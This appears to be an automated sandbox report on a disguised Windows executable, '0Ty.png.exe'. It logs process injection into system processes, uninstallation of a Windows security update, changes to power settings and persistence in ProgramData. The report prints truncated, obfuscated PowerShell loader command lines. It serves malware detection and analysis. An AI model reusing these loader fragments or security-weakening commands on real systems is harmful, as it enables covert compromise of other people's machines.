Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2300000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 840000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2090000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F0A6440000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1BFF06F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 24089940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28B955D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 14ECB470000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 191C8F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 27F4ECC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 17B55CA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9730000

Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83}	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:cktjhrwjgtvv{param([outputtype([type])][parameter(position=0)][type[]]$oberloaczjvocu,[parameter(position=1)][type]$nrddeuxitk)$iahamhduysn=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+'r'+''+[char](101)+''+[char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[char](100)+''+[char](68)+''+'e'+'l'+[char](101)+''+[char](103)+'a'+[char](116)+''+'e'+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+''+[char](110)+'m'+[char](101)+'mor'+[char](121)+''+[char](77)+''+'o'+'dul'+'e'+'',$false).definetype(''+[char](77)+''+'y'+'de'+[char](108)+''+'e'+''+[char](103)+''+[char](97)+'t'+'e'+''+[char](84)+''+'y'+'p'+'e'+'',''+[char](67)+''+[char](108)+'as'+[char](115)+''+[char](44)+''+[char](80)+''+[char](117)+''+[char](98)+''+'l'+''+'i'+'c,'+[char](83)+'e'+'a'+''+[char](108)+''+'e'+''+[char](100)+''+[char](44)+''+[char](65)+'nsic'+[char](108)+'a'+[char](115)+''+[char](115)+''+','+''+'a'+''+[char](117)+''+'t'+''+[char](111)+'cla'+'s'+''+'s'+'',[multicastdelegate]);$iahamhduysn.defineconstructor(''+'r'+''+'t'+''+[char](83)+''+'p'+''+[char](101)+'c'+[char](105)+'a'+[char](108)+''+[char](78)+'a'+[char](109)+''+[char](101)+''+[char](44)+''+[char](72)+''+[char](105)+''+[char](100)+''+[char](101)+''+'b'+''+[char](121)+''+[char](83)+''+[char](105)+'g'+[char](44)+'p'+[char](117)+''+'b'+''+[char](108)+'i'+[char](99)+'',[reflection.callingconventions]::standard,$oberloaczjvocu).setimplementationflags(''+'r'+'u'+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+''+','+''+[char](77)+''+'a'+''+[char](110)+''+[char](97)+'ged');$iahamhduysn.definemethod('i'+[char](110)+'v'+'o'+''+[char](107)+'e',''+[char](80)+'ub'+'l'+''+[char](105)+''+[char](99)+''+[char](44)+''+[char](72)+''+'i'+''+'d'+''+'e'+''+[char](66)+''+'y'+''+'s'+''+[char](105)+''+[char](103)+''+[char](44)+''+[char](78)+''+[char](101)+''+'w'+''+[char](83)+''+'l'+''+[char](111)+'t'+[char](44)+''+[char](86)+''+[char](105)+'r'+[char](116)+'u'+'a'+''+[char](108)+'',$nrddeuxitk,$oberloaczjvocu).setimplementationflags('ru'+[char](110)+''+[char](116)+''+[char](105)+''+'m'+'e'+','+''+[char](77)+'anag'+'e'+''+'d'+'');write-output $iahamhduysn.createtype();}$qragmiyqxnsdw=([appdomain]::currentdomain.getassemblies()\|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals('s'+'y'+''+'s'+'te'+[char](109)+''+[char](46)+''+[char](100)+''+[char](108)+''+[char](108)+'')}).gettype(''+'m'+''+[char](105)+''+[char](99)+''+[char](114)+'os'+[char](111)+'f'+'t'+''+[char](46)+''+[char](87)+''+'i'+'n3'+[char](50)+''+[char](46)+''+[char](85)+''+'n'+'s'+[char](97)+'f'+[char](101)+''+[char](78)+'a'+[char](116)+''+[char](105)+''+[char](118)+''+[char](101)+''+'m'+'e'+[char](116)+'ho'+[char](100)+''+'s'+'');$ovdfgatjnennnn=$qragmiyqxnsdw.getmethod(''+'g'+''+[char](101)+'t'+'p'+''+[char](114)+''+[char](111)+'c'+[char](65)+
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:dwpcgqraxeqb{param([outputtype([type])][parameter(position=0)][type[]]$kwrqxtwrdzvghi,[parameter(position=1)][type]$douozqbwki)$zycfoocruuh=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname('r'+[char](101)+''+[char](102)+''+'l'+''+[char](101)+''+[char](99)+''+[char](116)+''+[char](101)+'d'+'d'+''+[char](101)+'l'+[char](101)+''+'g'+''+[char](97)+''+[char](116)+''+[char](101)+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+''+[char](110)+'m'+[char](101)+''+[char](109)+'o'+[char](114)+'y'+'m'+'o'+[char](100)+'u'+[char](108)+''+[char](101)+'',$false).definetype(''+[char](77)+''+[char](121)+''+[char](68)+'e'+[char](108)+''+'e'+'ga'+[char](116)+''+[char](101)+'t'+[char](121)+''+[char](112)+''+[char](101)+'',''+[char](67)+''+[char](108)+'a'+'s'+''+[char](115)+''+[char](44)+''+[char](80)+''+'u'+'b'+[char](108)+''+[char](105)+''+'c'+''+[char](44)+''+'s'+''+[char](101)+''+'a'+''+'l'+''+[char](101)+''+[char](100)+''+','+''+[char](65)+''+[char](110)+''+'s'+''+'i'+''+[char](67)+''+[char](108)+''+[char](97)+''+[char](115)+''+[char](115)+''+[char](44)+''+[char](65)+''+[char](117)+''+[char](116)+''+'o'+''+[char](67)+'lass',[multicastdelegate]);$zycfoocruuh.defineconstructor(''+[char](82)+'t'+[char](83)+''+'p'+'e'+'c'+''+[char](105)+''+[char](97)+''+'l'+''+'n'+''+[char](97)+''+[char](109)+''+[char](101)+','+[char](72)+''+'i'+'d'+[char](101)+'b'+[char](121)+''+'s'+''+[char](105)+''+[char](103)+','+[char](80)+'u'+'b'+'l'+[char](105)+''+[char](99)+'',[reflection.callingconventions]::standard,$kwrqxtwrdzvghi).setimplementationflags(''+'r'+''+'u'+'nt'+'i'+'m'+[char](101)+','+'m'+''+'a'+''+[char](110)+''+[char](97)+'g'+'e'+''+[char](100)+'');$zycfoocruuh.definemethod(''+[char](73)+'n'+[char](118)+''+'o'+''+'k'+''+'e'+'',''+[char](80)+''+[char](117)+''+'b'+''+[char](108)+''+[char](105)+'c'+[char](44)+'h'+[char](105)+''+[char](100)+''+[char](101)+''+'b'+''+[char](121)+'sig'+','+''+[char](78)+''+'e'+''+[char](119)+''+'s'+''+[char](108)+''+[char](111)+''+[char](116)+''+[char](44)+''+[char](86)+'ir'+[char](116)+''+'u'+''+'a'+''+[char](108)+'',$douozqbwki,$kwrqxtwrdzvghi).setimplementationflags(''+'r'+''+'u'+''+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+''+[char](44)+''+[char](77)+''+[char](97)+'n'+'a'+''+[char](103)+''+'e'+''+[char](100)+'');write-output $zycfoocruuh.createtype();}$pibnzpatgoisb=([appdomain]::currentdomain.getassemblies()\|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals(''+'s'+''+[char](121)+''+[char](115)+''+'t'+''+'e'+''+[char](109)+''+[char](46)+'d'+'l'+'l')}).gettype(''+[char](77)+'i'+[char](99)+''+[char](114)+'o'+'s'+''+'o'+''+[char](102)+''+[char](116)+'.'+[char](87)+'in'+[char](51)+''+[char](50)+''+'.'+'uns'+[char](97)+''+[char](102)+'e'+'n'+''+[char](97)+'t'+'i'+''+[char](118)+'em'+[char](101)+''+[char]

Source: C:\Windows\System32\dllhost.exe

Code function: 68_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

68_2_0000000140002300

Source: C:\Windows\System32\dllhost.exe

Code function: 68_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

68_2_0000000140002300

Source: C:\Windows\System32\conhost.exe

Code function: 31_3_0000024089953B20 cpuid

31_3_0000024089953B20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\dllhost.exe

Code function: 68_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

68_2_0000000140002300

Source: C:\Windows\System32\conhost.exe

Code function: 31_2_000002408A297D90 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

31_2_000002408A297D90

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Source: dllhost.exe

Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
